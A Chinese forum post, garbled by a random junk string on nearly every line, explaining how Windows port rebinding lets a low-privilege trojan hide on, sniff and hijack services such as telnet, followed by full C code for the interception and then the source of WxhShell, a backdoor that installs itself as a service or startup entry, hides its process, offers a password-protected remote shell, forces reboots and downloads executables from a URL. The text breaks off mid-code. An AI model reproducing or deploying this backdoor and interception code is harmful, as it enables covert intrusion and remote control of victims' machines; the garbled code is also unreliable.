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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: K"VRHIhfg  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); V)cL=4G  
F"t.ND  
  saddr.sin_family = AF_INET; U46Z~B  
sF p% T4j  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); a/U4pSug  
h2vD*W  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); `D0H u!;  
*w6(nG'M{  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 _[ S<Cb*1  
AI2@VvB  
  这意味着什么?意味着可以进行如下的攻击: 2~QN#u|UC3  
P yN{  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 zE]h]$oi  
</|m^$v  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 1IWP~G  
>e QFY^d5  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 HI{IC!6  
nmUMg  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  o7v,:e:  
B-[qS;PY%  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 P30|TU+B  
pFwhv w  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 CF/8d6}Vf  
w>6 cc#>q  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 q 1+{MPJ  
4_h?E:sBb  
  #include KNqs=:i  
  #include 5VGr<i&A  
  #include `_>44!M  
  #include    ^"EK:|Y4%K  
  DWORD WINAPI ClientThread(LPVOID lpParam);   3ULn ]jA  
  int main() Ogp@!  
  { nSB@xP#&  
  WORD wVersionRequested; 0-Vx!(  
  DWORD ret; ~3qt<"  
  WSADATA wsaData; gt Rs||  
  BOOL val; ?=%#lZ &?  
  SOCKADDR_IN saddr; GaLQ/V2R  
  SOCKADDR_IN scaddr; \Culf'iX  
  int err; aX|LEZ;D>  
  SOCKET s; gR@,"6b3  
  SOCKET sc; yPVK>em5  
  int caddsize; +X!QH/ 8  
  HANDLE mt; _W gpk 0  
  DWORD tid;   t(=Z@9)]4F  
  wVersionRequested = MAKEWORD( 2, 2 ); lIgAc!q(  
  err = WSAStartup( wVersionRequested, &wsaData ); eX <@qa4<  
  if ( err != 0 ) { lH%-#2]  
  printf("error!WSAStartup failed!\n"); OjfumZL#  
  return -1; `6 ?.ihV  
  } "i~~Q'=7  
  saddr.sin_family = AF_INET; )UAkg  
   ZA'Qw2fF0  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 )(l=_[1Z5  
~?uch8H  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); &T\,kq >)  
  saddr.sin_port = htons(23); 0'~Iv\s  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !r`/vQ #  
  {  R]"3^k*  
  printf("error!socket failed!\n");  g\=e86  
  return -1; PR~9*#"v..  
  } {}N=pL8MS  
  val = TRUE; dmk_xBy s|  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 A!^gF~5  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) HR$;QHl~F  
  { l$3YJ.n|s~  
  printf("error!setsockopt failed!\n"); Ygfv?  
  return -1; +~eybm;  
  } n ?+dX^j  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; f%Vdao[  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 wv&#lM(  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 V25u_R`{  
p _q]Rt  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) [?nM)4d  
  { s[#ww =T\  
  ret=GetLastError(); =SLCG.  
  printf("error!bind failed!\n"); hO0g3^  
  return -1; G~KYFNHr  
  } tW} At  
  listen(s,2); Kzrt%DA  
  while(1) L5A?9zum/!  
  { Rg~F[j$N  
  caddsize = sizeof(scaddr); m! _*Q  
  //接受连接请求 DE" Y(;S  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ?`U=Ps  
  if(sc!=INVALID_SOCKET) 1cY,)Z%l #  
  { `u#N  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); +'!Y[7|9iv  
  if(mt==NULL) =w2_1F"  
  { /'Q2TLy=  
  printf("Thread Creat Failed!\n"); xBg. QV  
  break; CCU<t Q  
  } ;eT+Ly|{  
  }  Or,W2  
  CloseHandle(mt); >j_N6B!  
  } Tb<}GcwJ  
  closesocket(s); w^8i!jCy  
  WSACleanup(); fe!{vrS  
  return 0; ayh= @7*  
  }   C7xmk;c w  
  DWORD WINAPI ClientThread(LPVOID lpParam) eGj[%pk  
  { =uD^#AX  
  SOCKET ss = (SOCKET)lpParam; ?<6yKxn  
  SOCKET sc; 0t(js_  
  unsigned char buf[4096]; XG}9) fT  
  SOCKADDR_IN saddr; =9L1Z \f  
  long num; go B'C  
  DWORD val; u @#fOu  
  DWORD ret; p-JGDjR0G  
  //如果是隐藏端口应用的话,可以在此处加一些判断 2tI,`pSU  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   @tg4rl  
  saddr.sin_family = AF_INET; f&NXWo/  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); B`wrr8"Rz  
  saddr.sin_port = htons(23); 0=Mu|G|Z  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _FtsO<p)"  
  { bW^JR,  
  printf("error!socket failed!\n"); 6gTc)rhRT  
  return -1; nD\H$5>5  
  } eq,`T;  
  val = 100; O8)N`#1>+  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {{@*  
  { <db>~@;X!  
  ret = GetLastError(); `PS>"-AY2  
  return -1; w'7=CzfYn  
  } Lf+"Gp  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) B\Uocn  
  { lL"ANlX-P  
  ret = GetLastError(); ki'CW4x  
  return -1; /a?qtRw  
  } -~v1@  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) &AP`k  
  { ndS8p]P&o(  
  printf("error!socket connect failed!\n"); /M Z^;XG  
  closesocket(sc); 6 U_P  
  closesocket(ss); M3Oqto<8"  
  return -1; *=(vIm[KL  
  } &l?AC%a5  
  while(1) 6o<(,\ad [  
  { |(3"_  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 z#^;'nnw  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 w:07_`cH=  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 +l<l3uBNS  
  num = recv(ss,buf,4096,0); BV=~ !tsl  
  if(num>0) 2(H-q(  
  send(sc,buf,num,0); d;.H 9Ne  
  else if(num==0) 52t6_!y+V  
  break; *cAI gO7  
  num = recv(sc,buf,4096,0); aM YtWj  
  if(num>0) /_</m?&.U&  
  send(ss,buf,num,0); I'0{Q`}  
  else if(num==0) l;i /$Yu7  
  break; )W*A[c 2  
  } #Fz/}lO  
  closesocket(ss); M.\V/OX  
  closesocket(sc); 4/AE;y X  
  return 0 ; I`;SA~5  
  } ^MO})C  
}56WAP}Z 4  
7> 8L%(7  
========================================================== 58P[EMhL  
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下边附上一个代码,,WXhSHELL XeX` h_  
d r$E:kr  
========================================================== o>\o=%D.a  
OXI>`$we  
#include "stdafx.h" ;b!qt-;.<  
:B:6ezDF6  
#include <stdio.h> SM\qd4  
#include <string.h> i>e?$H,/  
#include <windows.h> %S/?Ci  
#include <winsock2.h> EO%"[k  
#include <winsvc.h> '9!J' [W  
#include <urlmon.h> J?C:@Q  
Vrs?VA`v$  
#pragma comment (lib, "Ws2_32.lib") qyP={E9A  
#pragma comment (lib, "urlmon.lib") ZlP+t>  
X}H?*'-  
#define MAX_USER   100 // 最大客户端连接数 U=PTn(2  
#define BUF_SOCK   200 // sock buffer b_^y Ke^W  
#define KEY_BUFF   255 // 输入 buffer ?NR&3 q  
$4q$!jB5  
#define REBOOT     0   // 重启 G`RQl@W>)(  
#define SHUTDOWN   1   // 关机 ;Vpp1mk|  
 "3/&<0k  
#define DEF_PORT   5000 // 监听端口 wKKQAM6P1  
P1ak>T *#2  
#define REG_LEN     16   // 注册表键长度 5bBCI\&sam  
#define SVC_LEN     80   // NT服务名长度 yxAy1P;dX  
|Wr$5r  
// 从dll定义API )+|Y;zC9  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); QD%!a{I  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); q _Z+H4  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); HI7w@V8Ed  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -5JN`  
["[v  
// wxhshell配置信息 )]kxLf#  
struct WSCFG { %77uc9}  
  int ws_port;         // 监听端口 p>B-Ubu  
  char ws_passstr[REG_LEN]; // 口令 <Xw\:5 F<7  
  int ws_autoins;       // 安装标记, 1=yes 0=no  QJ!2Vw4K  
  char ws_regname[REG_LEN]; // 注册表键名 yK-DzAv  
  char ws_svcname[REG_LEN]; // 服务名  { &Vt]9  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 F^81?F i.  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 1) 5$,+~lL  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 tAsap}(  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 8OiCldw:HN  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" S%aup(wu6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Ph8@V}80"Y  
2M=h:::W  
};  TD%&9$F  
c0Pj})-  
// default Wxhshell configuration qsQ{`E0  
struct WSCFG wscfg={DEF_PORT, bi^P k,'  
    "xuhuanlingzhe", Vl;zd=  
    1, fvk(eWB  
    "Wxhshell", 6%}`!_N<Mc  
    "Wxhshell", U p6OCF  
            "WxhShell Service", NfnPXsad  
    "Wrsky Windows CmdShell Service", @T:J<,  
    "Please Input Your Password: ", t<ZBp0  
  1, ;dPaWS1D  
  "http://www.wrsky.com/wxhshell.exe", U!NuiKaQ26  
  "Wxhshell.exe" zXD/hM  
    }; h8X[*Wme  
XwFTAaZ  
// 消息定义模块 .]s? 01Z  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; >]8(3&zd  
char *msg_ws_prompt="\n\r? for help\n\r#>"; s1h|/7gG  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 7F2 RH 8)  
char *msg_ws_ext="\n\rExit."; ` Nf  
char *msg_ws_end="\n\rQuit."; I=:"Fqj'N  
char *msg_ws_boot="\n\rReboot..."; dr c-5{M  
char *msg_ws_poff="\n\rShutdown..."; >I/@GX/  
char *msg_ws_down="\n\rSave to "; ;!G#Y Oe  
$v #  
char *msg_ws_err="\n\rErr!"; /QWXEL/M=  
char *msg_ws_ok="\n\rOK!"; Y[]I!Bc  
:)i,K>y3i  
char ExeFile[MAX_PATH]; } C:i0Q  
int nUser = 0; `hdff0  
HANDLE handles[MAX_USER]; 1YQYZ^11  
int OsIsNt; mt$rjk=  
'%wSs,HD  
SERVICE_STATUS       serviceStatus; m#8(l{3|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; kJpO0k9?eY  
TY'c'u,  
// 函数声明 uAqiL>y  
int Install(void); ' )0@J`  
int Uninstall(void); -gm5E qi  
int DownloadFile(char *sURL, SOCKET wsh); -fXQ62:S  
int Boot(int flag); 9!(%Vf>  
void HideProc(void); }dpTR9j=  
int GetOsVer(void); ^C1LQ Z  
int Wxhshell(SOCKET wsl); ge(,>xB  
void TalkWithClient(void *cs); R?{xs  
int CmdShell(SOCKET sock); kmX9)TMVO  
int StartFromService(void); WG3!M/4r H  
int StartWxhshell(LPSTR lpCmdLine); \pfa\, rW  
]WYV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3]GMQA{L)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); FR[I~unqD  
vi *A 5  
// 数据结构和表定义 <g%A2 lI  
SERVICE_TABLE_ENTRY DispatchTable[] = Ln2FG4{  
{ jLM([t  
{wscfg.ws_svcname, NTServiceMain}, r5N TTc  
{NULL, NULL} &R?`QB2/  
}; \ a,}1FS  
m$=}nI(H  
// 自我安装 >mX6;6FF  
int Install(void) /AAD Fa  
{ 8QK8q: |  
  char svExeFile[MAX_PATH]; ]"b:IWPeI  
  HKEY key; ?tL'  X  
  strcpy(svExeFile,ExeFile); !p).3Kx0  
|Z94@uB  
// 如果是win9x系统,修改注册表设为自启动 )~)l^0X  
if(!OsIsNt) { nH&z4-1Y?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `MCiybl,&P  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z?.9)T9_  
  RegCloseKey(key); (_"Zbw%cJy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xYCJO(&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h?p_jI  
  RegCloseKey(key); Yi?bY  
  return 0; fs 2MYat  
    } 5{k,/Z[L  
  } KD ,3U/ 3  
} # :k=  
else { _%=CW' B  
3a.!9R>  
// 如果是NT以上系统,安装为系统服务 \? )S {  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); erW2>^My  
if (schSCManager!=0) V~[b`&F  
{ ]sqLGmUL  
  SC_HANDLE schService = CreateService G@#lf@M]  
  ( ofV0L  
  schSCManager, $QwpoVp`~  
  wscfg.ws_svcname, D$ K'Qk  
  wscfg.ws_svcdisp, #p@GhI!6  
  SERVICE_ALL_ACCESS, '"E!av>  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , OQ hQ!6  
  SERVICE_AUTO_START, T2S_> #."l  
  SERVICE_ERROR_NORMAL, PXYLL X\3  
  svExeFile, cJaA*sg  
  NULL, k:Y\i]#yP  
  NULL, O^`EuaL  
  NULL, 0S$k;q  
  NULL, ];hqI O#nM  
  NULL TLVsTM8 P  
  ); t&?{+?p: 9  
  if (schService!=0) k\ .9iI'6  
  { e' o2PW  
  CloseServiceHandle(schService); `6)Qi*Z  
  CloseServiceHandle(schSCManager); qsp.`9!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); F-wAQ:  
  strcat(svExeFile,wscfg.ws_svcname); rhbz|Uq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { V^ n6~O  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); cyJ{AS+  
  RegCloseKey(key); }+n|0xK  
  return 0; kEnGr6e  
    } up'`)s'  
  } wK-VA$;:  
  CloseServiceHandle(schSCManager); __'4Qt   
} uL^; i""  
} xj;:B( i  
K<*6E@+i  
return 1; aE5-b ub c  
} F1stRZ1ZI  
"ktuq\a@  
// 自我卸载 I{cH$jt<  
int Uninstall(void) qx5`lm~L  
{ i`2SebDj'w  
  HKEY key; c%/b*nQ(=  
\L(cFjLIl  
if(!OsIsNt) { |qn 2b=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W:]2T p  
  RegDeleteValue(key,wscfg.ws_regname); ]5"k%v|  
  RegCloseKey(key); t<Yi!6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "jum*<QZz  
  RegDeleteValue(key,wscfg.ws_regname); PiKP.  
  RegCloseKey(key); o@zxzZWg  
  return 0; 6]b"n'G  
  } aNEah  
} uKP4ur@1  
} FSA%,b; U  
else { \uOM,98xS  
uVn"L:_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Ah wi  
if (schSCManager!=0) sWo`dZ\6WB  
{ \s&Mz;:  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -p_5T*R  
  if (schService!=0) A+RW=|:  
  { UmWXv#q\l  
  if(DeleteService(schService)!=0) { h5'hP>b#  
  CloseServiceHandle(schService); ^1.*NG8  
  CloseServiceHandle(schSCManager); m}wn+R  
  return 0; TM(y%!\  
  } -_ I)5*N  
  CloseServiceHandle(schService); D8wf`RUt  
  } W]oD(eZ  
  CloseServiceHandle(schSCManager); ae sk.  
} a ~v$ bNu  
} xc#t8`  
N x&/p$d  
return 1; ~|} ]  
} ^f! M"@  
9O3#d  
// 从指定url下载文件 m>vwpRBOA  
int DownloadFile(char *sURL, SOCKET wsh) .Z [4:TS  
{ R|C`  
  HRESULT hr; +<1 |apS1  
char seps[]= "/"; $CEdJ+0z  
char *token; UUV5uDe>i  
char *file; X 61|:E  
char myURL[MAX_PATH]; e3; &  
char myFILE[MAX_PATH]; %v8 &  
v@Uk% O/  
strcpy(myURL,sURL); }pMVl  
  token=strtok(myURL,seps); VC88re`  
  while(token!=NULL) $z%(He  
  { >)ekb7  
    file=token; q~R8<G%YK  
  token=strtok(NULL,seps); OS,!`8cw  
  } *<xu3){:c  
\l:R]:w;ZI  
GetCurrentDirectory(MAX_PATH,myFILE); "@nH;Xlq  
strcat(myFILE, "\\"); 4?+K `  
strcat(myFILE, file); l/G +Xj4M  
  send(wsh,myFILE,strlen(myFILE),0); dxs5woP  
send(wsh,"...",3,0); %VO+\L8Fs  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 'Bue*  
  if(hr==S_OK) h:8P9WhWF  
return 0; +06{5-,  
else <YU?1y?V  
return 1; ^L2d%d\5  
Hx gC*-A$/  
} s6|'s<x"j  
 :RnUNz  
// 系统电源模块 {6ZSf[Y6B  
int Boot(int flag) fY00  
{ Km(i}:6"  
  HANDLE hToken; ST?{H SCz  
  TOKEN_PRIVILEGES tkp; "] V\Y!  
A2 + %  
  if(OsIsNt) { l}uZxKuYx  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); oK\zyNK  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); hU$o^ICH  
    tkp.PrivilegeCount = 1; |0i{z(B  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [MpWvLP"x  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); <_xG)vwh.  
if(flag==REBOOT) { E5^\]`9P  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >N|?>M*  
  return 0; D m0)%#  
} EVqW(|Xg  
else { h< r(:.%!}  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) A'jvm@DvQI  
  return 0; `"=>lu2H   
} I<D#   
  } K ";Et  
  else { ;g!rc#z2g  
if(flag==REBOOT) { Q-oDmjU  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) '.bf88D  
  return 0; TTVmm{6  
} L(;$(k-/(  
else { O{l4 f:51  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) zTa5 N  
  return 0; x:FZEyalG  
} 9w=7A>.U  
} +7gd1^|$e  
x &R9m,  
return 1; QR&e~rks  
} PMytk`<`zw  
 cHvm  
// win9x进程隐藏模块 JUr t %2  
void HideProc(void) \78E>(`'  
{ qYA~Os1e  
ZHNL ~=r}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |P>7C  
  if ( hKernel != NULL ) # sw4)*v  
  { v.(dOIrX  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); sE[`x^1'8  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); n2K1X!E$  
    FreeLibrary(hKernel); d=vuy   
  } |}4\Gm  
f}bq  
return; r84^/+"T  
} ~lo43$)^  
C+TB>~Gv`  
// 获取操作系统版本 Y%?S:&GH  
int GetOsVer(void) Cy[G7A%  
{ p*b_ "aF1  
  OSVERSIONINFO winfo; 9G/!18 X?f  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); w0~%,S  
  GetVersionEx(&winfo); @R5^J{T  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) e\V -L_  
  return 1; 2Xe1qzvo  
  else v[Q)L!J1  
  return 0; i#la'ICwJ  
} I0+6p8,  
9rMO=  
// 客户端句柄模块 a?-&O$UHf\  
int Wxhshell(SOCKET wsl) *a Z1 4  
{ ^)-[g  
  SOCKET wsh; T`E0_ZU;  
  struct sockaddr_in client; ,m{R m0  
  DWORD myID; i% 1UUI(W  
{32m&a  
  while(nUser<MAX_USER) !5} }mf  
{ M{L- V  
  int nSize=sizeof(client); s`$}xukT  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &3t973=  
  if(wsh==INVALID_SOCKET) return 1; H7Q$k4\l  
/9pxEidVAS  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); v.|#^A?Qx  
if(handles[nUser]==0) 8%K{lg"  
  closesocket(wsh); n[Q(q[ULV  
else r-y;"h'  
  nUser++; _Ay^v#a  
  } qSNCBn '  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); UQDAql  
MKfK9>a  
  return 0; pT|s#-}  
} G=zNZ  
vclc%ws  
// 关闭 socket (p5q MP]L  
void CloseIt(SOCKET wsh) b&P)J|Fe  
{ gML8lu0)  
closesocket(wsh);  v%:deaF  
nUser--; )g'J'_Sl  
ExitThread(0); U 3< 3T  
} RB %+|@c  
t1w]L  
// 客户端请求句柄 +;~N; BT  
void TalkWithClient(void *cs) "s0,9; }  
{ (vG*)a  
46g0 e  
  SOCKET wsh=(SOCKET)cs; 'JOCL0FP  
  char pwd[SVC_LEN]; gO8d2?Oh  
  char cmd[KEY_BUFF]; BzfR8mD  
char chr[1]; q TJ0}F  
int i,j; 1%v6d !  
." xP {  
  while (nUser < MAX_USER) { oJ4HvrUO  
KM;H '~PZi  
if(wscfg.ws_passstr) { ,1{qZ(l1  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a]r+np]vTy  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t)&U'^  
  //ZeroMemory(pwd,KEY_BUFF); 3Z" ;a  
      i=0; o4" [{LyT  
  while(i<SVC_LEN) { 1L!;lP2  
!MKecRG_  
  // 设置超时 m+!.H\  
  fd_set FdRead; J!l/.:`6  
  struct timeval TimeOut; <W #G)c0  
  FD_ZERO(&FdRead); :Dt y([  
  FD_SET(wsh,&FdRead); n0lOq  
  TimeOut.tv_sec=8; *<sc[..)  
  TimeOut.tv_usec=0; ~pZ0B#K J  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); &{? M} 2I  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); dNgA C){w  
kU/MvoV  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); WJD2(el  
  pwd=chr[0]; jQ V[zcM  
  if(chr[0]==0xd || chr[0]==0xa) { p9)YRLOh.  
  pwd=0; Q/SO%E`E  
  break; 'd~(=6J  
  } VZt%cq  
  i++; Wo "s;Z  
    } S' $;  
CK[8y&  
  // 如果是非法用户,关闭 socket 1gV?}'jq  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); P4#i]7%  
} 3Rb#!tx9  
4MPy}yT*  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^y@ W\  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  $U?]^  
svmb~n&x6  
while(1) { Ef`'r))  
``CM7|)>`  
  ZeroMemory(cmd,KEY_BUFF); iHhdoY[]  
:k_&Zd j,B  
      // 自动支持客户端 telnet标准   C~T ,[U  
  j=0; 4*}&nmW  
  while(j<KEY_BUFF) { 2A\b-;4EP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r<ww%2HTS  
  cmd[j]=chr[0]; LL e*| :  
  if(chr[0]==0xa || chr[0]==0xd) { p/ (Z2N"  
  cmd[j]=0; #$Zx].[lc  
  break; p?L%'  
  } (e'8>Pv  
  j++; R Th=x.  
    } :2KHiT5  
=H)]HxEEM  
  // 下载文件 d'96$e o~  
  if(strstr(cmd,"http://")) { /''=V.-N  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); f!kZyD7  
  if(DownloadFile(cmd,wsh)) uZL]mwkj]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4m< ]qw  
  else  skl3/!  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vSHPN|*  
  } d3q%[[@  
  else { xmnBG4,f  
<<01@Q <  
    switch(cmd[0]) { znE1t%V  
  dXxf{|gk>  
  // 帮助 5@5 *}[M  
  case '?': { _5rKuL  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); c~tl0XU1  
    break; rhkKK_  
  } |Lg2;P7\  
  // 安装 &lLk[/b  
  case 'i': { ,;t:x|{%  
    if(Install()) ^mq(j_E.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -7&ywgxl  
    else )'m;a_r`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }@HgFM"  
    break; ei4LE XQ16  
    } k{mBG9[z  
  // 卸载 3*I\#Z4p1  
  case 'r': { ^gcB+  
    if(Uninstall()) bdWdvd:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xF{%@t  
    else _h<rVcl!wX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KNmU2-%l  
    break; m+XHFU  
    } #8h7C8]&  
  // 显示 wxhshell 所在路径 _]5UuIMl  
  case 'p': { PR"x&JG@  
    char svExeFile[MAX_PATH]; `F/R:!v  
    strcpy(svExeFile,"\n\r"); E "=4(   
      strcat(svExeFile,ExeFile); -m}'I8  
        send(wsh,svExeFile,strlen(svExeFile),0); [RKk-8I  
    break; ufk2zL8y  
    } (qFZF7(Xa  
  // 重启 Lan|(!aW  
  case 'b': { MDytA0M  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); MxpAh<u!vF  
    if(Boot(REBOOT)) 6MM\nIU)/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bXJ(QXHd%  
    else { ].rKfv:  
    closesocket(wsh); 5 <k)tF%  
    ExitThread(0); ?jz\[0)s  
    } \bT0\ (Js\  
    break; }*bp4<|  
    } wL~A L  
  // 关机 oF$#7#0`;8  
  case 'd': { a0)w/A&  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); l| uiC%T  
    if(Boot(SHUTDOWN))  [{2v}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k~AtnI  
    else { eV!(a8  
